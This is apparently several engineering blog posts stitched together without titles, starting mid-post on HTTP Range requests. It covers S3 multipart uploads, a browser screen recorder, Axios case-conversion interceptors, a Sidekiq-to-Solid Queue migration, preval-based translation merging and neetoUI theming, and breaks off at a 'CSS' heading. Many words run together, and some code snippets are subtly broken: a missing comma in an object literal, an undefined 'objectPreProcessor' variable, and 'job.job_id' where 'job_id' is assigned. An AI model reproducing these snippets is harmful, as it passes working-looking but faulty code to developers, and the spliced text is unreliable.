If range requests are supported, then the server responds with aAccept-Ranges: bytes header.

HTTP/1.1 200 OKAccept-Ranges: bytesContent-Length: 146515

We did the test on our S3 bucket directly first, and then through Cloudfront.BothS3andCloudfrontsupports Range request headers.

MP4, as mentioned above, supports streaming. It has metadata to help the serverdeliver it in chunks as requested. The HTML5 video player supports progressivedownload automatically by making use of HTTP Range headers.

So now we have our video in a file format that supports streaming (MP4), webserver that supports Range headers (S3 and Cloudfront) and a client that usesRange headers for progressive download - all the ingredients needed to supportstreaming.

In the previous blog, we learned how to use the Browser APIs to record the screenand generate a WEBM file. We now need to upload this file to persistent storageto have a URL to share our recording with our audience.

Uploading a large file all at once is time-consuming and prone to failure due tonetwork errors. The recording is generated in parts, each part pushed to anarray and joined together. So it would be ideal if we could upload these smallerparts as and when they are generated, and then join them together in the backend oncethe recording is completed. AWS'sSimple Storage Service (S3) made a perfect fit asit provides cheap persistent storage, along withMultipart Uploadsfeature.

S3 Multipart Uploads allow us to upload large objects in parts. Rather thanuploading the entire object in a single operation, multipart uploads break itdown into smaller parts, each ranging from 5 MB to 5 GB. Once uploaded, theseparts are aggregated to form the complete object.

Initialization

The process begins with an initiation request to S3, where a unique upload ID isgenerated. This upload ID is used to identify and manage the individual parts ofthe upload.

s3 = Aws::S3::Client.newresp = s3.create_multipart_upload({  bucket: bucket_name,  key: object_key})upload_id = resp.upload_id

Upload Parts

Once the upload is initiated, we can upload the parts to S3 independently. Eachpart is associated with a sequence number and an ETag (Entity Tag), a checksumof the part's data.

Note that the minimum content size for a part is 5MB (There is no minimum size limiton the last part of your multipart upload). So we store the recording chunks inlocal storage until they are bigger than 5MB. Once we have a part greater than5MB, we upload it to S3.

part_number = 1content = recordedChunksresp = s3.upload_part({  body: content,  bucket: bucket_name,  key: object_key,  upload_id: upload_id,  part_number: part_number})puts "ETag for Part #{part_number}: #{resp.etag}"

Completion

Once all parts are uploaded, a complete multipart upload request is sent to S3,specifying the upload ID and the list of uploaded parts along with their ETagsand sequence numbers. S3 then assembles the parts into a single object andfinalizes the upload.

completed_parts = [  { part_number: 1, etag: 'etag_of_part_1' },  { part_number: 2, etag: 'etag_of_part_2' },  ...  { part_number: N, etag: 'etag_of_part_N' },]resp = s3.complete_multipart_upload({  bucket: bucket_name,  key: object_key,  upload_id: upload_id,  multipart_upload: {    parts: completed_parts  }})

Aborting and Cancelling

At any point during the multipart upload process, you can abort or cancel theupload, which deletes any uploaded parts associated with the upload ID.

s3.abort_multipart_upload({  bucket: bucket_name,  key: object_key,  upload_id: upload_id})

The uploaded file will finally be available at s3://bucket_name/object_id

S3 Multipart Uploads offers us several advantages:

Fault tolerance

We can resume uploads from where they left off in case of network failures orinterruptions. Also, uploading large objects in smaller parts reduces thelikelihood of timeouts and connection failures, especially in high-latency orunreliable network environments.

Upload speed optimization

With multipart uploads, you can parallelize the process by uploading multipleparts concurrently, optimizing transfer speeds and reducing overall upload time.

At neeto, the product team, developers, and the UI teamoften communicate using short videos and screen recordings. We relied on popularsolutions like Loom and Bubbles. But they allowed only a small number ofrecordings in their free versions, and soon, they presented us with the upgradedscreens - upgrades were quite expensive for our team due to our team size andthe number of recordings we made daily.

So, we decided to build our own solution. We found the browser'sMediaStream Recording API.

MediaStream Recording API

The MediaStream Recording API, sometimes called the MediaRecorder API, isclosely affiliated with theMedia Capture and Streams APIand theWebRTC API. TheMediaStream Recording API enables capturing the data generated by a MediaStreamor HTMLMediaElement. Captured video data is in WebM format. We can play it backlater using theHTMLVideoElementon any video player that supports WebM playback.

We will build a basic recorder that records the screen, audio from themicrophone, and then plays it back. We will first look at different fragments ofcode for recording the screen, recording audio, playing back in the browser andthen downloading the video file. At the end, we will combine them into afully working web-based screen recorder program.

Record the screen

let mediaRecorder;let recordedChunks = [];const stream = await navigator.mediaDevices.getDisplayMedia({  video: true,});mediaRecorder = new MediaRecorder(stream);mediaRecorder.ondataavailable = event => {  recordedChunks.push(event.data);};

getDisplayMedia() is provided by theWebRTC (WebReal-Time Communication) API. It captures the contents of the user's screen orspecific application windows. getDisplayMedia() method prompts the user toselect and grant permission to capture the contents of a display or portionthereof (such as a window) as a MediaStream.

There is a similar method called getUserMedia(). It is typically used forapplications like video conferencing and live streaming. When you callgetUserMedia(), the browser prompts the user for permission to access theircamera and microphone.

When there is recorded data available, ondataavailable() callback istriggered. We could process the data in this callback. In our case, we collectthe data by appending it to an array named recordedChunks.

Record audio

let audioStream = await window.navigator.mediaDevices.getUserMedia({  audio: { echoCancellation: true, noiseSuppression: true },});

To capture audio, we use getUserMedia(). It is typically used for applicationslike video conferencing and live streaming. When you call getUserMedia(), thebrowser prompts the user for permission to access their camera and microphone.But we want to capture only the audio, so we pass the audio parameter.

The audio key accepts a set of parameters that would let us control thequality and properties of the captured audio stream. In our example, we haveenabled echoCancellation and noiseSuppression - two good features that wouldenhance the quality of our screen recordings. The complete list of audio optionsis availablehere.

The audio stream could be composed of multiple audio tracks - the microphone,system sounds, etc. We will add these tracks to the video stream we hadpreviously set up using getDisplayMedia().

audioStream.getAudioTracks().forEach(audioTrack => stream.addTrack(audioTrack));

Playback the recording

We now have an array named recordedChunks, which contains sequential chunks ofthe recorded data. Video players need video data as aBlob. A blob is afile-like object of immutable, raw binary/text data. We must convert ourrecordedChunks array into a Blob to be played back or written into a file.

To construct a Blob from other non-blob objects and data, we can use theBlob() constructor.

const blob = new Blob(recordedChunks, {  type: "video/webm",});

Suppose we have anHTML video tag in our page.

<video id="recordedVideo" controls></video>

When the video recording is stopped, we could create an Object URL for ourrecording blob and attach it to the video player.

mediaRecorder.onstop = () => {  let recordedVideo = document.getElementById("recordedVideo");  recordedVideo.src = URL.createObjectURL(blob);};

We can now play the recording on the HTML video player.

Similarly, we can create a download link using the Object URL for the recordingblob.

let a = document.createElement("a");let url = URL.createObjectURL(blob);a.href = url;

We can now download and play the recording locally on any video playersupporting WebM playback.

Putting it all together

We have glued together the code fragments discussed above and created ademo for a basic web-basedscreen recorder.

You may view the source codehere.

Next steps

Now that we have a basic screen recorder in place, we have to consider thefollowing:

1. Persistent storage.
2. Chunked uploading.
3. CDN support.
4. Playback with support for streaming.

We will cover these topics in the next set of blogs. Stay tuned.

Heres a snippet illustrating the issue faced by our team:

// For requests, we had to manually convert camelCase values to snake_case.const createUser = ({ userName, fullName, dateOfBirth }) =>  axios.post("/api/v1/users", {    user_name: userName,    full_name: fullName,    date_of_birth: dateOfBirth,  });// For responses, we had to manually convert snake_case values to camelCaseconst {  user_name: userName,  full_name: fullName,  date_of_birth: dateOfBirth,} = await axios.get("/api/v1/users/user-id-1");

This manual conversion process consumed valuable development time and introducedthe risk of errors or inconsistencies in data handling.

To streamline our workflow and enhance interoperability between the frontend andbackend, we decided to automate case conversion.

Implementing automatic case conversion

Implementing automatic case conversion across Neeto products required athoughtful approach to minimize disruptions and ensure a smooth transition.Here's how we achieved this goal while minimizing potential disruptions:

1. Axios Interceptors for Recursive Case Conversion

We created a pair of Axios interceptors to handle case conversion for requestsand responses. The interceptors were designed to recursively convert the cases,managing the translation between snake case and camel case as data traveledbetween the frontend and backend. This smooth transition simplified theworkflow, cutting out the requirement for manual case conversion in mostsituations.

2. Custom Parameters to Control Case Conversion

To do a smooth rollout without breaking any products, and due to certain specialAPIs requiring specific case conventions due to legacy reasons or externaldependencies, we introduced custom parameters transformResponseCase andtransformRequestCase within Axios. These parameters allowed developers toopt-out of the automatic case conversion for specific API endpoints. Byconfiguring these parameters appropriately, we prevented unintentional caseconversions where needed, maintaining compatibility with APIs that requireddifferent conventions.

This is how we crafted our axios interceptors:

import {  keysToCamelCase,  serializeKeysToSnakeCase,} from "@bigbinary/neeto-cist";// To transform response data to camel caseconst transformResponseKeysToCamelCase = response => {  const { transformResponseCase = true } = response.config;  if (response.data && transformResponseCase) {    response.data = keysToCamelCase(response.data);  }  return response;};// To transform error response data to camel caseconst transformErrorKeysToCamelCase = error => {  const { transformResponseCase = true } = error.config ?? {};  if (error.response?.data && transformResponseCase) {    error.response.data = keysToCamelCase(error.response.data);  }  return error;};// To transform the request payload to snake_caseconst transformDataToSnakeCase = request => {  const { transformRequestCase = true } = request;  if (!transformRequestCase) return request;  request.data = serializeKeysToSnakeCase(request.data);  request.params = serializeKeysToSnakeCase(request.params);  return request;};// Adding interceptorsaxios.interceptors.request.use(transformDataToSnakeCase);axios.interceptors.response.use(  transformResponseKeysToCamelCase,  transformErrorKeysToCamelCase);

Note that keysToCamelCase, serializeKeysToSnakeCase are methods from ouropen source pure utils library@bigbinary/neeto-cist.

While rolling out the change to all products, we wrote a JSCodeShift script toautomatically add these flags to every Axios API requests in all Neeto productsto ensure that nothing was broken due to it. Then the team had manually wentthrough the code base and removed those flags while making the necessary changesto the code.

After the change was introduced the API code was much cleaner without theboilerplate for case conversion.

// Requestconst createUser = ({ userName, fullName, dateOfBirth }) =>  axios.post("/api/v1/users", { userName, fullName dateOfBirth })// Responseconst { userName, fullName, dateOfBirth } = await axios.get("/api/v1/users/user-id-1");

Pain points

In our work towards automating case conversion within neeto, we encounteredseveral pain points.

1. Manual work is involved

During the rollout phase of our automated case conversion solution, there was anunavoidable requirement for manual intervention. As we transitioned the existingcode bases to incorporate the new mechanisms for automatic case conversionwithin Axios, each Axios call needed an adjustment to remove the manual caseconversion codes written before.

This stage demanded some manual work from our development teams. They updatedand modified existing Axios requests across multiple projects to ensure theyaligned with the new automated case conversion mechanism. While this manualeffort temporarily increased the workload, it was a necessary step to implement theautomated solution effectively across Neeto.

This phase highlighted the importance of a structured rollout plan andmeticulous attention to detail. Despite the initial manual workload, once thechanges were applied uniformly across the codebase, the benefits of automatedcase conversion quickly became evident, significantly reducing ongoing manualefforts and improving the overall efficiency of our development process.

2. Serialization Issues

As our initial implementation of automated case conversion, we usedkeysToSnakeCase method, which recursively transforms all the keys to snakecase for a given object. It internally used transformObjectDeep function torecursively traverse through each key-value pair inside an object fortransformation.

import { camelToSnakeCase } from "@bigbinary/neeto-cist";const transformObjectDeep = (object, keyValueTransformer) => {  if (Array.isArray(object)) {    return object.map(obj =>      transformObjectDeep(obj, keyValueTransformer, objectPreProcessor)    );  } else if (object === null || typeof object !== "object") {    return object;  }  return Object.fromEntries(    Object.entries(object).map(([key, value]) =>      keyValueTransformer(        key,        transformObjectDeep(value, keyValueTransformer, objectPreProcessor)      )    )  );};export const keysToSnakeCase = object =>  transformObjectDeep(object, (key, value) => [camelToSnakeCase(key), value]);

However, this recursive transformation approach led to a serialization issue,especially with objects that required special treatment, such as dayjs objectsrepresenting dates. The method treated these objects like any other JavaScriptobject, causing unexpected transformations and resulting in invalid payload datain some cases.

To mitigate these serialization issues and prevent interference with specificobject types, we enhanced the transformObjectDeep method to accommodate apreprocessor function for objects before the transformation:

const transformObjectDeep = (  object,  keyValueTransformer,  objectPreProcessor = undefined) => {  if (objectPreProcessor && typeof objectPreProcessor === "function") {    object = objectPreProcessor(object);  }  // Existing transformation logic};

This modification allowed us to serialize objects before initiating thetransformation process. To facilitate this, we introduced a new method,serializeKeysToSnakeCase, incorporating the object preprocessor. For specificobject types requiring special serialization, such as dayjs objects, weleveraged the built-in toJSON method, allowing the object to transform itselfto its desired format, such as a date string:

import { transformObjectDeep, camelToSnakeCase } from "@bigbinary/neeto-cist";export const serializeKeysToSnakeCase = object =>  transformObjectDeep(    object,    (key, value) => [camelToSnakeCase(key), value],    object => (typeof object?.toJSON === "function" ? object.toJSON() : object)  );

This resolved the serialization issue for the request payloads. Since theresponse is always in JSON format, all values are objects, arrays, orprimitives. It won't contain such 'magical' objects. So we need this logic onlyfor request interceptors.

Conclusion

In simplifying our web development workflow at Neeto, automating case conversionproved crucial. Despite challenges during implementation, refining our methodsstrengthened our system. By streamlining data translation and overcoming hurdleslike serialization issues, we've improved efficiency and compatibility acrossour ecosystem.

If you're starting a new project, adopting automated case conversion mechanismssimilar to what we've built in Axios can offer significant advantages.Implementing these standards from the beginning promotes consistency andsimplifies how data moves between your frontend and backend systems. Introducingthese practices early in your project's lifecycle help sidestep thedifficulties of adjusting existing code and establishing a unified conventionthroughout your project's structure.

For existing projects, adopting automated case conversion might initially comewith a cost. Introducing these changes requires careful planning and executionto minimize disruptions. The rollout process might necessitate manual updatesacross various parts of the codebase, leading to increased workload andpotential short-term setbacks.

Please note that Solid Queue currently doesn't support cron-style or recurringjobs. There is a PR openregarding this issue. We have only partially migrated to Solid Queue. Forrecurring jobs, we are still using Sidekiq. Once the PR is merged, we willmigrate completely to Solid Queue.

Migrating to Solid Queue from Sidekiq

Here is a step-by-step migration guide you can use to migrate your Railsapplication from Sidekiq to Solid Queue.

1. Installation

• Add gem "solid_queue" to your Rails application's Gemfile and runbundle install.
• Run bin/rails generate solid_queue:install which copies the config file andthe required migrations.
• Run the migrations using bin/rails db:migrate.

2. Configuration

The installation step should have created a config/solid_queue.yml file.Uncomment the file and modify it as per your needs. Here is how the file looksfor our application.

default: &default  dispatchers:    - polling_interval: 1      batch_size: 500  workers:    - queues: "auth"      threads: 3      processes: 1      polling_interval: 0.1    - queues: "urgent"      threads: 3      processes: 1      polling_interval: 0.1    - queues: "low"      threads: 3      processes: 1      polling_interval: 2    - queues: "*"      threads: 3      processes: 1      polling_interval: 1development:  <<: *defaultstaging:  <<: *defaultheroku:  <<: *defaulttest:  <<: *defaultproduction:  <<: *default

3. Starting Solid Queue

On your development machine, you can start Solid Queue by running the followingcommand.

bundle exec rake solid_queue:start

This will start Solid Queue's supervisor process and will start processing anyenqueued jobs. The supervisor process forksworkers and dispatchersaccording to the configuration provided in the config/solid_queue.yml file.The supervisor process also controls the heartbeats of workers and dispatchers,and sends signals to stop and start them when needed.

Since we use foreman, we added the abovecommand to our Procfile.

# Procfileweb:  bundle exec puma -C config/puma.rbworker: bundle exec sidekiq -C config/sidekiq.ymlsolidqueueworker: bundle exec rake solid_queue:startrelease: bundle exec rake db:migrate

4. Setting the Active Job queue adapter

You can set the Active Job queue adapter to :solid_queue by adding thefollowing line in your application.rb file.

# application.rbconfig.active_job.queue_adapter = :solid_queue

The above change sets the queue adapter at the application level for all thejobs. However, since we wanted to use Solid Queue for our regular jobs andcontinue using Sidekiq for cron jobs, we didn't make the above change inapplication.rb.

Instead, we created a new base class that inherited from ApplicationJob andset the queue adapter to :solid_queue inside that.

# sq_base_job.rbclass SqBaseJob < ApplicationJob  self.queue_adapter = :solid_queueend

Then we made all the classes implementing regular jobs inherit from this newclass SqBaseJob instead of ApplicationJob.

# send_email_job.rb- class SendEmailJob < ApplicationJob+ class SendEmailJob < SqBaseJob  # ...end

By making the above change, all our regular jobs got enqueued via Solid Queueinstead of Sidekiq.

But we realized later that emails were still being sent via Sidekiq. Ondebugging and looking into Rails internals, we found that ActionMailer usesActionMailer::MailDeliveryJob for enqueuing or sending emails.

ActionMailer::MailDeliveryJob inherits from ActiveJob::Base rather than theapplication's ApplicationJob. So even if we set the queue_adapter inapplication_job.rb, it won't work. ActionMailer::MailDeliveryJob fallbacksto using the adapter defined in application.rb or environment-specific(production.rb / staging.rb / development.rb) config files. But we can't do thatbecause we still want to use Sidekiq for cron jobs.

To use Solid Queue for mailers, we needed to override the queue_adapter formailers. We can do that in application_mailer.rb.

# application_mailer.rbclass ApplicationMailer < ActionMailer::Base  # ...  ActionMailer::MailDeliveryJob.queue_adapter = :solid_queueend

This change is only until we use both Sidekiq and Solid Queue. Once cron stylejobs feature lands in Solid Queue, we can remove this override and set thequeue_adapter directly in application.rb, which will enforce the settingglobally.

5. Code changes

For migrating from Sidekiq to Solid Queue, we had to make the following changesto the syntax for enqueuing a job.

• Replaced .perform_async with .perform_later.
• Replaced .perform_at with .set(...).perform_later(...).

- SendMailJob.perform_async+ SendMailJob.perform_later- SendMailJob.perform_at(1.minute.from_now)+ SendMailJob.set(wait: 1.minute).perform_later

At some places we were storing the Job ID on a record, for querying the job'sstatus or for cancelling the job. For such cases, we made the following change.

def disable_form_at_deadline- job_id = DisableFormJob.perform_at(deadline, self.id)- self.disable_job_id = job_id+ job_id = DisableFormJob.set(wait_until: deadline).perform_later(self.id)+ self.disable_job_id = job.job_idenddef cancel_form_deadline- Sidekiq::Status.cancel(self.disable_job_id)+ SolidQueue::Job.find_by(active_job_id: self.disable_job_id).destroy!  self.disable_job_id = nilend

6. Error handling and retries

Initially, we thought theon_thread_error configurationprovided by Solid Queue can be used for error handling. However, during thedevelopment phase, we noticed that it wasn't capturing errors. We raisedan issue with Solid Queueas we thought it was a bug.

Rosa Gutirrezrespondedon the issue and clarified the following.

on_thread_error wasn't intended for errors on the job itself, but rathererrors in the thread that's executing the job, but around the job itself. Forexample, if you had an Active Record's thread pool too small for your numberof threads and you got an error when trying to check out a new connection,on_thread_error would be called with that.

For errors in the job itself, you could try to hook into Active Job's itself.

Based on the above information, we modified our SqBaseJob base class to handlethe exceptions and report it to Honeybadger.

# sq_base_job.rbclass SqBaseJob < ApplicationJob  self.queue_adapter = :solid_queue  rescue_from(Exception) do |exception|    context = {      error_class: self.class.name,      args: self.arguments,      scheduled_at: self.scheduled_at,      job_id: self.job_id    }    Honeybadger.notify(exception, context:)    raise exception  endend

Remember we mentioned that ActionMailer doesn't inherit from ApplicationJob.So similarly, we would have to handle exceptions for Mailers separately.

# application_mailer.rbclass ApplicationMailer < ActionMailer::Base  # ...  ActionMailer::MailDeliveryJob.rescue_from(Exception) do |exception|    context = {      error_class: self.class.name,      args: self.arguments,      scheduled_at: self.scheduled_at,      job_id: self.job_id    }    Honeybadger.notify(exception, context:)    raise exception  endend

For retries, unlike Sidekiq, Solid Queue doesn't include any automatic retrymechanism, itrelies on Active Job for this.We wanted our application to retry sending emails in case of any errors. So weadded the retry logic in the ApplicationMailer.

# application_mailer.rbclass ApplicationMailer < ActionMailer::Base  # ...  ActionMailer::MailDeliveryJob.retry_on StandardError, attempts: 3end

Note that, although the queue adapter configuration can be removed fromapplication_mailer.rb once the entire application migrates to Solid Queue,error handling and retry override cannot be removed because of the wayActionMailer::MailDeliveryJob inherits from ActiveJob::Base rather thanapplication's ApplicationJob.

7. Testing

Once all the above changes were done, it was obvious that a lot of tests werefailing. Apart from fixing the usual failures related to the syntax changes,some of the tests were failing inconsistently. On debugging, we found that theaffected tests were all related to controllers, specifically tests inheritingfrom ActionDispatch::IntegrationTest.

We tried debugging and searched for solutions when we stumbled uponBen Sheldon'scomment on one of Good Job's issues.Ben points out that this is actuallyan issue in Rails where Railssometimes inconsistently overrides ActiveJob's queue_adapter setting withTestAdapter. A PR is already openfor the fix. Thankfully, Ben, in the same comment, also mentioned a workaroundfor it until the fix has been added to Rails.

We added the workaround in our test helper_methods.rb and called the method ineach of our controller tests which were failing.

# test/support/helper_methods.rbdef ensure_consistent_test_adapter_is_used  # This is a hack mentioned here: https://github.com/bensheldon/good_job/issues/846#issuecomment-1432375562  # The actual issue is in Rails for which a PR is pending merge  # https://github.com/rails/rails/pull/48585  (ActiveJob::Base.descendants + [ActiveJob::Base]).each(&:disable_test_adapter)end

# test/controllers/exports_controller_test.rbclass ExportsControllerTest < ActionDispatch::IntegrationTest  def setup    ensure_consistent_test_adapter_is_used    # ...  end  # ...end

8. Monitoring

Basecamp has releasedmission_control-jobs, whichcan be used to monitor background jobs. It is generic, so it can be used withany compatible ActiveJob adapter.

Add gem "mission_control-jobs" to your Gemfile and run bundle install.

Mount the mission control route in your routes.rb file.

# routes.rbRails.application.routes.draw do  # ...  mount MissionControl::Jobs::Engine, at: "/jobs"

By default, mission control would try to load the adapter specified in yourapplication.rb or individual environment-specific files. Currently, Sidekiqisn't compatible with mission control, so you will face an error while loadingthe dashboard at /jobs. The fix is to explicitly specify solid_queue to thelist of mission control adapters.

# application.rb# ...config.mission_control.jobs.adapters = [:solid_queue]

Now, visiting /jobs on your site should load a dashboard where you can monitoryour Solid Queue jobs.

But that isn't enough. There is no authentication. For development environments,it is fine, but the /jobs route would be exposed on production too. Bydefault, Mission Control's controllers will extend the host app'sApplicationController. If no authentication is enforced, /jobs will beavailable to everyone.

To implement some kind of authentication, we can specify a different controlleras the base class for Mission Control's controllers and add the authenticationthere.

# application.rb# ...MissionControl::Jobs.base_controller_class = "MissionControlController"

# app/controllers/mission_control_controller.rbclass MissionControlController < ApplicationController  before_action :authenticate!, if: :restricted_env?  private    def authenticate!      authenticate_or_request_with_http_basic do |username, password|        username == "solidqueue" && password == Rails.application.secrets.mission_control_password      end    end    def restricted_env?      Rails.env.staging? || Rails.env.production?    endend

Here, we have specified that MissionControlController would be our basecontroller for mission control related controllers. Then inMissionControlController we implemented basic authentication for staging andproduction environments.

Observations

We haven't had any complaints so far. Solid Queue offers simplicity, requires noadditional infrastructure and provides visibility for managing jobs since theyare stored in the database.

In the coming days, we will migrate all of our 22 Neeto products to Solid Queue.And once cron-style job support lands in Solid Queue, we will completely migratefrom Sidekiq.

neeto-commons-frontend houses utility functions, components, hooks,configuration settings, etc. neeto-fields-nano manages dynamic fieldcomponents, while neeto-team-members-nano handles team member managementfunctionalities.

These nanos, along with others, reduce redundancy and promote consistencyacross our products.

Translation Challenges

Many of our packages export components with text that requires internalization,maintaining their own translation files. We encountered an issue with thewithT higher-order component (HOC) using react-i18next insideneeto-commons-frontend. Upon investigation, we found discrepancies in howpackages handled dependencies.

withT is an HOC which provides the t function from react-i18next to thewrapped component as a prop.

import { withTranslation } from "react-i18next";const withT = (Component, options, namespace = undefined) =>  withTranslation(namespace, options)(Component);export default withT;

// Example usage of withT:const ComponentWithTranslation = withT(({ t }) => <div>{t("some.key")}</div>);

Let us first understand the difference between dependencies andpeerDependencies. dependencies are external packages a library relies on,automatically installed with the library. peerDependencies suggest that usersshould explicitly install these dependencies in their application if they wantto use this library. If not installed, we will get warnings during installationof this library to prompt us to install the peer dependencies.

react-i18next and i18next were listed as peerDependencies inneeto-commons-frontend's package.json. So, it will be using the instances ofthese libraries from the host application.

Examining neeto-fields-nano, we found that it listed react-i18next andi18next as dependencies rather than peerDependencies. This meant it hadits own instances of these libraries, leading to initialization discrepancies.

Contrastingly, neeto-team-members-frontend listed react-i18next andi18next as peerDependencies, relying on the host application'sinitialization of these libraries.

The initialization logic, which is common among all the products, is placedinside neeto-commons-frontend. To ensure translations from all packages,including neeto-commons-frontend are merged with that of the host application,we crafted a custom initializeI18n function:

import DOMPurify from "dompurify";import i18n from "i18next";import { curry, mergeAll, mergeDeepLeft } from "ramda";import { initReactI18next } from "react-i18next";import commonsEn from "../translations/en.json";const packageNames = [  "neeto-molecules",  "neeto-integrations-frontend",  "neeto-team-members-frontend",  "neeto-tags-frontend",];const getPackageTranslations = (language, packageNames) => {  const loadTranslations = curry((language, packageName) => {    try {      return require(`../${packageName}/src/translations/${language}.json`);    } catch {      return {};    }  });  const allTranslations = packageNames.map(loadTranslations(language));  return mergeAll(allTranslations);};const packageEnTranslations = getPackageTranslations("en", packageNames);const en = mergeDeepLeft(commonsEn, packageEnTranslations);const initializeI18n = resources => {  i18n.use(initReactI18next).init({    resources: mergeDeepLeft(resources, { en: { translation: en } }),    lng: "en",    fallbackLng: "en",    interpolation: { escapeValue: false, skipOnVariables: false },  });};export default initializeI18n;

Here we are looping through all the packages mentioned in packageNames andmerging with the translation keys inside neeto-commons-frontend, along withthe translation keys from the host app are passed as an argument to initializeI18nfunction.

While this approach successfully merges translations, it introduced complexity.As our project expanded with the inclusion of more packages, we found the needto regularly update the neeto-commons-frontend code, manually adding newpackages to the packageNames array. This prompted us to seek an automatedsolution to streamline this process.

Given that all our packages are under the @bigbinary namespace in npm, weexplored the possibility of dynamically handling this. An initial thought was toiterate through packages under node_modules/@bigbinary and merge theirtranslation keys. However, executing this in the browser was not possible sincethe browser does not have access to its build environment's file system.

Enter babel-plugin-preval:

To automate our translation aggregation process, we turned tobabel-plugin-preval. Thisplugin allows us to execute dynamic tasks during build time.

babel-plugin-preval allows us to specify some code that runs in Node andwhatever we module.exports in there will be swapped.

Let us look at an example:

const x = preval`module.exports = 1`;

will be transpiled to:

const x = 1;

With preval.require, the following code:

const fileLastModifiedDate = preval.require("./get-last-modified-date");

will be transpiled to:

const fileLastModifiedDate = "2018-07-05";

Here is the content of get-last-modified-date.js:

module.exports = "2018-07-05";

Here, the 2018-07-05 date is read from the file and replaced in the code.

In order to use this plugin we just need to install it and add preval to theplugins array in .babelrc or .babel.config.js

Streamlining Translations with preval:

We revamped the initializeI18n function using preval.require to dynamicallyfetch translations from all @bigbinary-namespaced packages. This eliminatedthe need for manual updates in neeto-commons-frontend whenever a new packagewas added.

With preval, our initializeI18n function was refactored as follows:

const initializeI18n = hostTranslations => {  // eslint-disable-next-line no-undef  const packageTranslations = preval.require(    "../configs/scripts/getPkgTranslations.js"  );  const commonsTranslations = { en: { translation: commonsEn } };  const resources = [    hostTranslations,    commonsTranslations,    packageTranslations,  ].reduce(mergeDeepLeft);};

The code for getPackageTranslations.js:

const fs = require("fs");const path = require("path");const { mergeDeepLeft } = require("ramda");const packageDir = path.join(__dirname, "../../");const getPkgTransPath = pkg => {  const basePath = path.join(packageDir, pkg);  const transPath1 = path.join(basePath, "app/javascript/src/translations");  const transPath2 = path.join(basePath, "src/translations");  return fs.existsSync(transPath1) ? transPath1 : transPath2;};const packages = fs.readdirSync(packageDir);const loadTranslations = translationsDir => {  try {    const jsonFiles = fs      .readdirSync(translationsDir)      .filter(file => file.endsWith(".json"))      .map(file => path.join(translationsDir, file));    const translations = {};    jsonFiles.forEach(jsonFile => {      const content = fs.readFileSync(jsonFile, "utf8");      const basename = path.basename(jsonFile, ".json");      translations[basename] = { translation: JSON.parse(content) };    });    return translations;  } catch {    return {};  }};const packageTranslations = packages  .map(pkg => loadTranslations(getPkgTransPath(pkg)))  .reduce(mergeDeepLeft);module.exports = packageTranslations;

In this workflow, we iterate through all the packages to retrieve theirtranslation files and subsequently merge them. We are able to access thetranslation files of our packages since we have exposed those files in thepackage.json of all our packages.

files property in package.json is an allowlist of all files that should beincluded in an npm release.

Inside package.json of our nanos, we have added the translations folder to thefiles property:

{  // other properties  files: ["app/javascript/src/translations"];}

It's worth noting that we won't run preval at the time of bundlingneeto-commons-frontend. Our objective is to merge the translation keys of allinstalled dependencies of the host project with those of the host projectitself. Since neeto-commons-frontend is one of the dependencies of the hostprojects, executing preval within neeto-commons-frontend is not what weneeded.

Consequently, we've manually excluded the preval plugin from the Babelconfiguration specific to neeto-commons-frontend:

module.exports = function (api) {  const config = defaultConfigurations(api);  config.plugins = config.plugins.filter(plugin => plugin !== "preval");  config.sourceMaps = true;};

With this change, the Babel compiler simply skips the code for preval duringbuild time and the preval related code will be kept as it is after compilationfor neeto-commons-frontend.

Another challenge arises from the default behavior of webpack, which does nottranspile the node_modules folder by default. However, it's necessary for ourhost application to perform this transpilation. To address this, we wrote acustom rule for webpack. The webpack rules are also placed inneeto-commons-frontend and shared across all the products.

  {    test: /\.js$/,    include:      /node_modules\/@bigbinary\/neeto-commons-frontend\/initializers\/i18n/,    use: { loader: "babel-loader", options: { plugins: ["preval"] } },  },

This configuration ensures that Babel applies the necessary transformations tothe code located innode_modules/@bigbinary/neeto-commons-frontend/initializers/i18n/ within thehost application.

Upon transpilation, our system consolidates all translations from each package,including those from the neeto-commons-frontend package, and incorporates theminto the host application.

To mitigate potential conflicts arising from overlapping keys, we've implementeda namespacing strategy for translations originating from various packages. Thisensures that translations from our packages carry a distinctive key, uniquelyidentifying their source.

For example, consider the neeto-filters-nano package. In its Englishtranslation file (en.json), the translations are organized within a dedicatednamespace:

neetoFilters: {    "common": { }}

Conclusion:

Leveraging babel-plugin-preval significantly simplified our translationresource loading process. The automation introduced not only streamlined ourworkflow but also ensured that our applications stay consistent and easilyadaptable to future package additions.

NeetoUI is an open-source React component librarydeveloped for neeto. It makes it easier to buildaccessible and consistent UI in React applications. It is currently being usedin more than 20 Neeto products. In this blog post, we will explore the excitingnew features and enhancements of neetoUI.

The Spark

Though we were using neetoUI across all our products, we had to avoid neetoUI incertain products that followed a different UI style. For example,NeetoCode, a coding platform built by BigBinary, hasits own special design that is drastically different from the establishedneetoUI style. So, while building the new landing page for NeetoCode, we alsohad to create custom buttons and form elements that followed the NeetoCodedesign.

Secondly, neetoUI only supported theme overrides. This means the users couldeasily override the color scheme of neetoUI just by replacing the colorvariables. But with NeetoCode, just updating the theme was not enough. Frombutton sizing to border radius and variants, every component was different inthe NeetoCode design system. That's when we realized that neetoUI requires evenmore customization options to improve its adaptability.

The Solution

To enhance the customizability of neetoUI, we planned to implement a set ofcustomization features similar to popular design systems likeBootstrap andAnt design. These featureswould allow users to adapt the library to their unique design withoutcompromising on the core advantages of using neetoUI. Apart from the colortheming which neetoUI already supported, we also wanted to introduce componentstyling and responsive typography to further advance the customizability ofneetoUI.

The Execution

NeetoUI has more than 30+ components, and enhancing the customizability of thosecomponents was not an easy task. We approached each component one by one andrefactored the respective styles to use CSS variables for all the properties.

Lets take the example of the Button component from neetoUI. Earlie,r we couldonly customize the colors used in the buttons. But with v6, we have made everyaspect of the button, like padding, border-radius, font size, etc. customizable.

Here is the list of variables used by the Button component.

CSS

